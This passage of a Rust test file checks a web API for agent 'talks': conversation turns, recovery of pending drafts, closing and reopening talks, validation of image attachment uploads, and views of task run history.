14694 }
14695 tokio::time::sleep(Duration::from_millis(10)).await;
14696 }
14697 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14698 }
14699
14700 #[tokio::test]
14727 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14728 let tmp = TempDir::new().expect("tempdir");
14729 let repo = tmp.path().join("repo");
14730 std::fs::create_dir_all(&repo).expect("repo dir");
14731 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14732 let home = TempDir::new().expect("temp home");
14733 let talks = Talks::at(home.path().join("talks"));
14734 let ui = Arc::new(
14735 Ui::new(
14736 Queue::at(home.path().join("queue")),
14737 Questions::at(home.path().join("questions")),
14738 talks.clone(),
14739 home.path().join("runs"),
14740 home.path().to_path_buf(),
14741 repo.clone(),
14742 )
14743 .with_worktrees_root(home.path().join("wt")),
14744 );
14745 let cfg = config_for(&repo).await.expect("discover config");
14746
14747 for delay in 0..40u32 {
14748 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14749 let id = talk.id.clone();
14750
14751 let handler = tokio::spawn(talk_say(
14752 State(Arc::clone(&ui)),
14753 Path(id.clone()),
14754 Ok(Json(NewTalkTurn {
14755 reply_to: None,
14756 text: "what does the queue module do?".to_owned(),
14757 attachments: Vec::new(),
14758 })),
14759 ));
14760 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14761 handler.abort();
14762 let _ = handler.await;
14765
14766 let mut turns = 0;
14767 for _ in 0..SETTLE_STEPS {
14768 if let Ok(fresh) = talks.get(&id) {
14769 turns = fresh.turns.len();
14770 if turns != 1 {
14771 break;
14772 }
14773 }
14774 tokio::time::sleep(Duration::from_millis(10)).await;
14775 }
14776 assert_ne!(
14777 turns, 1,
14778 "delay {delay}: talk {id} recorded the operator's turn but \
14779 the agent never answered - the reply task was never \
14780 started after the handler future was dropped"
14781 );
14782 }
14783 }
14784
14785 #[tokio::test]
14830 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14831 let tmp = TempDir::new().expect("tempdir");
14832 let repo = tmp.path().join("repo");
14833 std::fs::create_dir_all(&repo).expect("repo dir");
14834 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14835 let home = TempDir::new().expect("temp home");
14836 let talks = Talks::at(home.path().join("talks"));
14837 let ui = Arc::new(
14838 Ui::new(
14839 Queue::at(home.path().join("queue")),
14840 Questions::at(home.path().join("questions")),
14841 talks.clone(),
14842 home.path().join("runs"),
14843 home.path().to_path_buf(),
14844 repo.clone(),
14845 )
14846 .with_worktrees_root(home.path().join("wt")),
14847 );
14848 let cfg = config_for(&repo).await.expect("discover config");
14849
14850 for attempt in 0..3u32 {
14851 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14852 let id = talk.id.clone();
14853 let turn_guard = ui
14856 .begin_talk_turn(&id)
14857 .expect("claim the turn")
14858 .expect("a fresh talk owes nobody a turn");
14859
14860 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
14861 let (release_tx, release_rx) = std::sync::mpsc::channel();
14862 ui.set_busy_queue_gate(BusyQueueGate {
14863 reached: reached_tx,
14864 release: release_rx,
14865 });
14866
14867 let handler = tokio::spawn(talk_say(
14868 State(Arc::clone(&ui)),
14869 Path(id.clone()),
14870 Ok(Json(NewTalkTurn {
14871 reply_to: None,
14872 text: "what does the queue module do?".to_owned(),
14873 attachments: Vec::new(),
14874 })),
14875 ));
14876
14877 tokio::time::timeout(Duration::from_secs(5), reached_rx)
14882 .await
14883 .unwrap_or_else(|_| {
14884 panic!(
14885 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
14886 )
14887 })
14888 .expect("the busy branch dropped the gate without using it");
14889 assert!(
14890 crate::consult::try_publication_guard(&talks, &id)
14891 .expect("publication fence")
14892 .is_none(),
14893 "a queued worker cannot promote text before its successor reservation is published"
14894 );
14895
14896 let closing = Arc::clone(&ui.admissions).write_owned();
14900 tokio::pin!(closing);
14901 std::future::poll_fn(|cx| {
14902 assert!(closing.as_mut().poll(cx).is_pending());
14903 std::task::Poll::Ready(())
14904 })
14905 .await;
14906 assert!(
14907 ui.begin_admission().is_err(),
14908 "replacement blocks later admissions"
14909 );
14910
14911 let running = talks.get(&id).expect("reload talk");
14918 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
14919
14920 handler.abort();
14924 let _ = handler.await;
14925 std::future::poll_fn(|cx| {
14926 assert!(
14927 closing.as_mut().poll(cx).is_pending(),
14928 "HTTP cancellation must not abandon a publishing transaction"
14929 );
14930 std::task::Poll::Ready(())
14931 })
14932 .await;
14933 assert!(
14934 crate::consult::try_publication_guard(&talks, &id)
14935 .expect("publication fence after disconnect")
14936 .is_none()
14937 );
14938
14939 let _ = release_tx.send(());
14945 drop(
14946 tokio::time::timeout(Duration::from_secs(5), closing)
14947 .await
14948 .expect("short admission transaction should release for replacement"),
14949 );
14950 assert!(
14951 crate::consult::try_publication_guard(&talks, &id)
14952 .expect("publication fence after acknowledgement")
14953 .is_some(),
14954 "the publication fence is not retained by the long response"
14955 );
14956
14957 let mut fresh = talks.get(&id).expect("reload talk");
14960 for _ in 0..SETTLE_STEPS {
14961 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
14962 break;
14963 }
14964 tokio::time::sleep(Duration::from_millis(10)).await;
14965 fresh = talks.get(&id).expect("reload talk");
14966 }
14967 assert!(
14968 fresh.pending.is_empty() && fresh.turns.len() == 2,
14969 "attempt {attempt}: talk {id} left the operator's text queued \
14970 with no drainer - the reclaimed turn was dropped along with \
14971 the handler future (pending {:?}, {} turns)",
14972 fresh.pending,
14973 fresh.turns.len()
14974 );
14975 }
14976 }
14977
14978 #[tokio::test]
14979 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
14980 let (_tmp, _repo, f) = talk_fixture().await;
14981 let id = f.post("/api/talks", None).await.json()["id"]
14982 .as_str()
14983 .expect("id")
14984 .to_owned();
14985 let store = f.talks();
14986 let mut recovered = store.get(&id).expect("opened talk");
14987 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14988 .expect("persist pending draft without a live turn");
14989
14990 let edited = f
14991 .post(
14992 &format!("/api/talks/{id}/pending/edit"),
14993 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
14994 )
14995 .await;
14996 assert_eq!(edited.status, 200, "{}", edited.body);
14997 assert!(edited.json()["thinking"].as_bool().unwrap());
14998
14999 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15000 for _ in 0..SETTLE_STEPS {
15001 if detail["turns"].as_array().expect("turns").len() == 2 {
15002 break;
15003 }
15004 tokio::time::sleep(Duration::from_millis(10)).await;
15005 detail = f.get(&format!("/api/talks/{id}")).await.json();
15006 }
15007 let turns = detail["turns"].as_array().expect("turns");
15008 assert_eq!(
15009 turns.len(),
15010 2,
15011 "the recovered draft must run once: {detail}"
15012 );
15013 assert_eq!(turns[0]["body"], "corrected");
15014 assert_eq!(detail["pending"], "");
15015 }
15016
15017 #[tokio::test]
15018 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15019 let tmp = TempDir::new().expect("tempdir");
15020 let repo = tmp.path().join("repo");
15021 std::fs::create_dir_all(&repo).expect("repo dir");
15022 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15023 let f = Fixture::with_repo(repo).await;
15024 let id = f.post("/api/talks", None).await.json()["id"]
15025 .as_str()
15026 .expect("id")
15027 .to_owned();
15028 let store = f.talks();
15029 let mut recovered = store.get(&id).expect("opened talk");
15030 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15031 .expect("persist pending draft without a live turn");
15032
15033 let refused = f
15034 .post(
15035 &format!("/api/talks/{id}/say"),
15036 Some(r#"{"text":"new message"}"#),
15037 )
15038 .await;
15039 assert_eq!(refused.status, 409, "{}", refused.body);
15040 assert!(refused.body.contains("resume"), "{}", refused.body);
15041 let saved = store.get(&id).expect("draft remains after refusal");
15042 assert!(saved.turns.is_empty());
15043 assert_eq!(saved.pending, "saved before restart");
15044
15045 let say_path = format!("/api/talks/{id}/say");
15046 let (first, second) = tokio::join!(
15047 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15048 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15049 );
15050 assert_eq!(first.status, 409, "{}", first.body);
15051 assert_eq!(second.status, 409, "{}", second.body);
15052 let saved = store
15053 .get(&id)
15054 .expect("draft remains after concurrent refusals");
15055 assert!(saved.turns.is_empty());
15056 assert_eq!(saved.pending, "saved before restart");
15057
15058 let resumed = f
15059 .post(&format!("/api/talks/{id}/pending/resume"), None)
15060 .await;
15061 assert_eq!(resumed.status, 202, "{}", resumed.body);
15062 let duplicate = f
15063 .post(&format!("/api/talks/{id}/pending/resume"), None)
15064 .await;
15065 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15066
15067 for _ in 0..SETTLE_STEPS {
15068 if store.get(&id).expect("talk").turns.len() == 2 {
15069 break;
15070 }
15071 tokio::time::sleep(Duration::from_millis(10)).await;
15072 }
15073 let finished = store.get(&id).expect("finished talk");
15074 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15075 assert_eq!(finished.turns[0].body, "saved before restart");
15076 assert!(finished.pending.is_empty());
15077 }
15078
15079 #[tokio::test]
15080 async fn an_image_only_recovered_draft_resumes_without_text() {
15081 let (_tmp, _repo, f) = talk_fixture().await;
15082 let id = f.post("/api/talks", None).await.json()["id"]
15083 .as_str()
15084 .expect("id")
15085 .to_owned();
15086 let uploaded = f
15087 .post_bytes(
15088 &format!("/api/talks/{id}/attachments"),
15089 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15090 PNG_BYTES,
15091 )
15092 .await;
15093 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15094 let attachment = f
15095 .talks()
15096 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15097 .expect("attachment metadata")
15098 .expect("stored attachment");
15099 let store = f.talks();
15100 let mut recovered = store.get(&id).expect("opened talk");
15101 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15102
15103 let resumed = f
15104 .post(&format!("/api/talks/{id}/pending/resume"), None)
15105 .await;
15106 assert_eq!(resumed.status, 202, "{}", resumed.body);
15107 for _ in 0..SETTLE_STEPS {
15108 if store.get(&id).expect("talk").turns.len() == 2 {
15109 break;
15110 }
15111 tokio::time::sleep(Duration::from_millis(10)).await;
15112 }
15113 let finished = store.get(&id).expect("finished talk");
15114 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15115 assert!(finished.turns[0].body.is_empty());
15116 assert_eq!(finished.turns[0].attachments.len(), 1);
15117 assert!(finished.pending_attachments.is_empty());
15118 }
15119
15120 #[tokio::test]
15121 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15122 let (_tmp, _repo, f) = talk_fixture().await;
15123 let id = f.post("/api/talks", None).await.json()["id"]
15124 .as_str()
15125 .expect("id")
15126 .to_owned();
15127 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15128 assert_eq!(closed.status, 200, "{}", closed.body);
15129 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15130 .expect("serialize closed talk");
15131 for (path, body) in [
15132 (format!("/api/talks/{id}/pending/resume"), None),
15133 (
15134 format!("/api/talks/{id}/pending/clear"),
15135 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15136 ),
15137 (
15138 format!("/api/talks/{id}/pending/edit"),
15139 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15140 ),
15141 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15142 ] {
15143 let response = f.post(&path, body).await;
15144 assert_eq!(response.status, 409, "{}", response.body);
15145 }
15146 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15147 .expect("serialize closed talk");
15148 assert_eq!(
15149 after_clear, before_clear,
15150 "clear must not rewrite a closed talk"
15151 );
15152 }
15153
15154 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15157
15158 #[tokio::test]
15159 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15160 let tmp = TempDir::new().expect("tempdir");
15161 let repo = tmp.path().join("repo");
15162 std::fs::create_dir_all(&repo).expect("repo dir");
15163 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15164 let f = Fixture::with_repo(repo).await;
15165 let id_a = f.post("/api/talks", None).await.json()["id"]
15166 .as_str()
15167 .unwrap()
15168 .to_owned();
15169 let id_b = f.post("/api/talks", None).await.json()["id"]
15170 .as_str()
15171 .unwrap()
15172 .to_owned();
15173
15174 let a = f
15175 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15176 .await;
15177 assert_eq!(a.status, 202, "{}", a.body);
15178 assert_eq!(a.json()["thinking"], true);
15179 let b = f
15180 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15181 .await;
15182 assert_eq!(b.status, 202, "{}", b.body);
15183 assert_eq!(b.json()["thinking"], true);
15184
15185 let listed = f.get("/api/talks").await.json();
15186 for id in [&id_a, &id_b] {
15187 let view = listed
15188 .as_array()
15189 .unwrap()
15190 .iter()
15191 .find(|talk| talk["id"] == *id)
15192 .unwrap();
15193 assert_eq!(view["thinking"], true, "{listed}");
15194 }
15195 let repeated = f
15196 .post(
15197 &format!("/api/talks/{id_a}/say"),
15198 Some(r#"{"text":"again"}"#),
15199 )
15200 .await;
15201 assert_eq!(repeated.status, 202, "{}", repeated.body);
15202 assert_eq!(repeated.json()["pending"], "again");
15203 }
15204
15205 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15208
15209 #[tokio::test]
15210 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15211 let f = Fixture::start().await;
15212 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15213
15214 let res = f
15215 .post_bytes(
15216 &format!("/api/talks/{id}/attachments"),
15217 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15218 PNG_BYTES,
15219 )
15220 .await;
15221 assert_eq!(res.status, 201, "{}", res.body);
15222 let body = res.json();
15223 assert_eq!(body["name"], "shot.png");
15224 assert_eq!(body["mime"], "image/png");
15225 assert_eq!(body["bytes"], PNG_BYTES.len());
15226 let att_id = body["id"].as_str().expect("id").to_owned();
15227 assert_eq!(
15228 att_id.len(),
15229 32,
15230 "the id must never be a client-suppliable path: {att_id}"
15231 );
15232
15233 let got = f
15234 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15235 .await;
15236 assert_eq!(got.status, 200, "{}", got.body);
15237 assert_eq!(got.header("content-type"), Some("image/png"));
15238 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15239 assert_eq!(got.bytes, PNG_BYTES);
15240 }
15241
15242 #[tokio::test]
15243 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15244 let f = Fixture::start().await;
15245 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15246
15247 let svg = f
15250 .post_bytes(
15251 &format!("/api/talks/{id}/attachments"),
15252 &[("Content-Type", "image/svg+xml")],
15253 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15254 )
15255 .await;
15256 assert!(
15257 (400..500).contains(&svg.status),
15258 "svg must be refused: {} {}",
15259 svg.status,
15260 svg.body
15261 );
15262 assert!(svg.body.contains("SVG"), "{}", svg.body);
15263
15264 let text = f
15265 .post_bytes(
15266 &format!("/api/talks/{id}/attachments"),
15267 &[("Content-Type", "text/plain")],
15268 b"just some text",
15269 )
15270 .await;
15271 assert!(
15272 (400..500).contains(&text.status),
15273 "an unlisted type must be refused: {} {}",
15274 text.status,
15275 text.body
15276 );
15277
15278 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15281 let big = f
15282 .post_bytes(
15283 &format!("/api/talks/{id}/attachments"),
15284 &[("Content-Type", "image/png")],
15285 &oversized,
15286 )
15287 .await;
15288 assert_eq!(
15289 big.status,
15290 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15291 "{}",
15292 big.body
15293 );
15294 }
15295
15296 #[tokio::test]
15297 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15298 let f = Fixture::start().await;
15299 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15300
15301 let res = f
15304 .post_bytes(
15305 &format!("/api/talks/{id}/attachments"),
15306 &[("Content-Type", "image/png")],
15307 b"<html>not a picture</html>",
15308 )
15309 .await;
15310 assert!((400..500).contains(&res.status), "{}", res.body);
15311 }
15312
15313 #[tokio::test]
15314 async fn an_unknown_attachment_id_is_a_404() {
15315 let f = Fixture::start().await;
15316 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15317
15318 let res = f
15319 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15320 .await;
15321 assert_eq!(res.status, 404, "{}", res.body);
15322 }
15323
15324 #[tokio::test]
15325 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15326 let f = Fixture::start().await;
15327 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15328
15329 let uploaded = f
15330 .post_bytes(
15331 &format!("/api/talks/{id}/attachments"),
15332 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15333 PNG_BYTES,
15334 )
15335 .await;
15336 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15337 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15338
15339 let res = f
15340 .post(
15341 &format!("/api/talks/{id}/say"),
15342 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15343 )
15344 .await;
15345 assert_eq!(res.status, 202, "{}", res.body);
15346 let queued = res.json();
15347 let turns = queued["turns"].as_array().expect("turns array");
15348 assert_eq!(
15349 turns.len(),
15350 1,
15351 "an empty body with an attachment is still a turn: {queued}"
15352 );
15353 assert_eq!(turns[0]["who"], "operator");
15354 assert_eq!(turns[0]["body"], "");
15355 let atts = turns[0]["attachments"]
15356 .as_array()
15357 .expect("attachments array");
15358 assert_eq!(atts.len(), 1);
15359 assert_eq!(atts[0]["id"], att_id);
15360 assert_eq!(atts[0]["mime"], "image/png");
15361
15362 let on_disk = f.talks().get(&id).expect("get");
15365 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15366 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15367 }
15368
15369 #[tokio::test]
15370 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15371 let f = Fixture::start().await;
15372 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15373
15374 let res = f
15375 .post(
15376 &format!("/api/talks/{id}/say"),
15377 Some(&format!(
15378 r#"{{"text":"hi","attachments":["{}"]}}"#,
15379 "a".repeat(32)
15380 )),
15381 )
15382 .await;
15383 assert!((400..500).contains(&res.status), "{}", res.body);
15384 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15385
15386 let on_disk = f.talks().get(&id).expect("get");
15387 assert!(
15388 on_disk.turns.is_empty(),
15389 "a rejected attachment id must not partially record the turn: {:?}",
15390 on_disk.turns
15391 );
15392 }
15393
15394 #[tokio::test]
15395 async fn talk_close_makes_the_talk_refuse_further_turns() {
15396 let f = Fixture::start().await;
15397 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15398
15399 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15400 assert_eq!(closed.status, 200, "{}", closed.body);
15401 assert_eq!(closed.json()["status"], "closed");
15402
15403 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15405 assert_eq!(closed_again.status, 200);
15406 assert_eq!(closed_again.json()["status"], "closed");
15407
15408 let said = f
15409 .post(
15410 &format!("/api/talks/{id}/say"),
15411 Some(r#"{"text":"too late"}"#),
15412 )
15413 .await;
15414 assert_eq!(said.status, 409, "{}", said.body);
15415 }
15416
15417 #[tokio::test]
15418 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15419 let (_tmp, _repo, f) = talk_fixture().await;
15420 let id = f.post("/api/talks", None).await.json()["id"]
15421 .as_str()
15422 .expect("id")
15423 .to_owned();
15424 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15425 assert_eq!(closed.status, 200, "{}", closed.body);
15426
15427 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15428 assert_eq!(reopened.status, 200, "{}", reopened.body);
15429 assert_eq!(reopened.json()["status"], "open");
15430
15431 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15433 assert_eq!(reopened_again.status, 200);
15434 assert_eq!(reopened_again.json()["status"], "open");
15435
15436 let said = f
15437 .post(
15438 &format!("/api/talks/{id}/say"),
15439 Some(r#"{"text":"still there?"}"#),
15440 )
15441 .await;
15442 assert_eq!(
15443 said.status, 202,
15444 "a reopened talk accepts turns again: {}",
15445 said.body
15446 );
15447 }
15448
15449 #[tokio::test]
15450 async fn talk_reopen_on_an_unknown_id_is_404() {
15451 let f = Fixture::start().await;
15452 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15453 assert_eq!(res.status, 404, "{}", res.body);
15454 }
15455
15456 #[tokio::test]
15457 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15458 let f = Fixture::start().await;
15459 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15460
15461 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15462 assert_eq!(deleted.status, 204, "{}", deleted.body);
15463
15464 let after = f.get(&format!("/api/talks/{id}")).await;
15465 assert_eq!(after.status, 404, "{}", after.body);
15466
15467 let listed = f.get("/api/talks").await.json();
15468 assert!(
15469 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15470 "a deleted talk must not linger in the list: {listed}"
15471 );
15472 }
15473
15474 #[tokio::test]
15475 async fn talk_delete_on_an_unknown_id_is_404() {
15476 let f = Fixture::start().await;
15477 let res = f.delete("/api/talks/nonexistent-id").await;
15478 assert_eq!(res.status, 404, "{}", res.body);
15479 }
15480
15481 #[tokio::test]
15485 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15486 let f = Fixture::start().await;
15487 let (a, b, gone) = (
15488 "20260902-140501-aaaa",
15489 "20260902-140502-bbbb",
15490 "20260902-140503-cccc",
15491 );
15492 write_run(&f.runs(), a, RunStatus::Stalled);
15493 let mut review = RunState::new(
15494 PathBuf::from("/repo/magi"),
15495 "main".to_owned(),
15496 "0123456789abcdef".to_owned(),
15497 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15498 .to_owned(),
15499 Config::default(),
15500 );
15501 review.id = b.to_owned();
15502 review.status = RunStatus::Merged;
15503 write_state(&f.runs(), &review);
15504
15505 let mut task = Task::new(
15506 "retry".to_owned(),
15507 "Do the thing".to_owned(),
15508 PathBuf::from("/repo/magi"),
15509 Source::Human,
15510 );
15511 task.start(a.to_owned());
15512 task.stall("quota");
15513 task.start(a.to_owned());
15514 task.start(b.to_owned());
15515 task.start(gone.to_owned());
15516 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15518 f.queue().put(&mut task).expect("file the task");
15519
15520 let res = f.get(&format!("/api/queue/{}", task.id)).await;
15521 assert_eq!(res.status, 200, "{}", res.body);
15522 let v = res.json();
15523 let h = v["history"].as_array().expect("history");
15524 assert_eq!(h.len(), 4, "{v}");
15525 assert_eq!(h[0]["kind"], "competition");
15526 assert_eq!(h[0]["status"], "stalled");
15527 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15528 assert_eq!(h[1]["kind"], "resume", "{v}");
15529 assert!(
15530 h[0]["outcome"]
15531 .as_str()
15532 .unwrap()
15533 .contains("unknown. Pass #2"),
15534 "an earlier pass of a resumed run must not claim the final outcome: {v}"
15535 );
15536 assert!(
15537 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15538 "{v}"
15539 );
15540 assert!(
15541 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15542 "an unrecorded cause must not be narrated as an operator park: {v}"
15543 );
15544 assert_eq!(h[2]["kind"], "review");
15545 assert!(
15546 h[2]["description"]
15547 .as_str()
15548 .unwrap()
15549 .contains("magi/aaaa/A")
15550 );
15551 assert_eq!(h[2]["status"], "merged");
15552 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15553 assert_eq!(v["runs_unreadable"], 1);
15554 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15555 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15556 assert_eq!(nodes[4]["note"], "unreadable");
15557 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15558 assert_eq!(v["instruction"], "Do the thing");
15559 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15560
15561 let run = f.get(&format!("/api/runs/{a}")).await.json();
15563 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15564
15565 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15566 }
15567
15568 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15569 let mut s = RunState::new(
15570 PathBuf::from("/repo/magi"),
15571 "main".to_owned(),
15572 "0123456789abcdef".to_owned(),
15573 "Do it".to_owned(),
15574 Config::default(),
15575 );
15576 s.status = status;
15577 edit(&mut s);
15578 s
15579 }
15580
15581 fn flow_task(runs: &[&str]) -> Task {
15582 let mut t = Task::new(
15583 "t".to_owned(),
15584 "Do it".to_owned(),
15585 PathBuf::from("/repo/magi"),
15586 Source::Human,
15587 );
15588 for r in runs {
15589 t.start((*r).to_owned());
15590 }
15591 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15593 t
15594 }
15595
15596 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15597 let h = task_history(task, |id| {
15598 states
15599 .iter()
15600 .find(|(i, _)| *i == id)
15601 .and_then(|(_, s)| s.clone())
15602 });
15603 task_flow(task, &h, 5, None)
15604 }
15605
15606 #[test]
15607 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15608 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15609 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15610 let first = "2026-10-10T02:00:00Z".parse().unwrap();
15611 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15612 let held = "2026-10-10T04:00:00Z".parse().unwrap();
15613 let run = flow_run(RunStatus::Implementing, |s| {
15614 s.created_at = created;
15615 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15616 s.passes[0].started_at = first;
15617 s.passes[1].started_at = resumed;
15618 });
15619 let mut task = flow_task(&[RUN_X, RUN_X]);
15620 task.created_at = queued;
15621 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15622 task.status = TaskStatus::Held;
15623 task.held_at = Some(held);
15624 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15625 assert_eq!(
15626 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15627 vec![Some(queued), Some(first), Some(resumed), Some(held)]
15628 );
15629 assert!(flow.nodes.iter().all(|n| n.time_expected));
15630 let json = serde_json::to_value(&flow).unwrap();
15631 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15632 assert_eq!(json["nodes"][2]["time_expected"], true);
15633 }
15634
15635 #[test]
15636 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15637 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15638 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15639 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15640 task.held_at = Some(created);
15642 task.blocked_at = Some(created);
15643 for status in [
15644 TaskStatus::Queued,
15645 TaskStatus::Running,
15646 TaskStatus::Blocked,
15647 TaskStatus::Done,
15648 TaskStatus::Failed,
15649 TaskStatus::Parked,
15650 TaskStatus::Held,
15651 ] {
15652 task.status = status;
15653 if status == TaskStatus::Held {
15654 task.held_at = None;
15655 }
15656 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15657 assert_eq!(flow.nodes[1].started_at, Some(created));
15658 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15659 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15660 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15661 let json = serde_json::to_value(&flow).unwrap();
15662 assert!(json["nodes"][3]["started_at"].is_null());
15663 assert_eq!(json["nodes"][3]["time_expected"], true);
15664 }
15665 }
15666
15667 #[test]
15668 fn flow_context_links_do_not_expect_start_times() {
15669 let mut task = flow_task(&[]);
15670 task.source = Source::Agent {
15671 run: "chat-id".to_owned(),
15672 node: "chat".to_owned(),
15673 };
15674 let origin = followup_origin(&fu(None), |_| None, |_| None);
15675 let flow = task_flow(&task, &[], 5, Some(&origin));
15676 for node in &flow.nodes[..2] {
15677 assert!(!node.time_expected);
15678 assert_eq!(node.started_at, None);
15679 }
15680 assert!(flow.nodes[2].time_expected);
15681 }
15682
15683 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15684 crate::queue::FollowUp {
15685 run: "20260901-000000-aaaa".to_owned(),
15686 origin_task: origin_task.map(str::to_owned),
15687 pr: "https://example.com/o/r/pull/1".to_owned(),
15688 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15689 .map(str::to_owned)
15690 .to_vec(),
15691 generation: 1,
15692 }
15693 }
15694
